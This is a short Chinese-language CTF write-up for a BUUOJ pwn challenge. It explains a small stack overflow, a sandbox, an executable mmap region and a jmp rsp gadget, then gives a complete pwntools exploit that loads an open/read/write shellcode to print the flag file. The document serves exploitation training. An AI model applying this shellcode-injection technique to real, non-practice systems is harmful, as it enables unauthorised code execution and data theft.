例行檢查
開了沙箱
程序邏輯很簡單,存在0x18字節溢出,看是否能進行棧遷移,目前可控輸入只有buf,但是buf只有0x20大小不夠rop,所以嘗試別的方法。程序在最開始mmap了一塊內存,可寫可執行,那麼接下來目標就是1.在這塊內存上寫shellcode
2.跳轉過來執行
由於不能rop且棧是可執行的想到能不能進行jmp rsp。在程序中找到了這個指令。
那麼就可以在buf上佈置read以及跳轉的shellcode。在jmp rsp時跳轉到buf去執行,buf地址是rsp-0x30,sub rsp,0x30;jmp rsp小於8字節滿足要求。
from pwn import *
io=remote('node3.buuoj.cn',26473)
context.binary=ELF('./bad')
mmap=0x123000
jmp_rsp=0x400A01
io.recvuntil('have fun!')
pl1=(asm(shellcraft.read(0,mmap,0x100))+asm("mov rax,0x123000;call rax")).ljust(0x28,'\x00')+p64(jmp_rsp)+asm("sub rsp,0x30;jmp rsp")
io.send(pl1)
pl2=shellcraft.open('./flag')
pl2+=shellcraft.read(3,mmap+0x100,0x50)
pl2+=shellcraft.write(1,mmap+0x100,0x50)
io.send(asm(pl2))
io.interactive()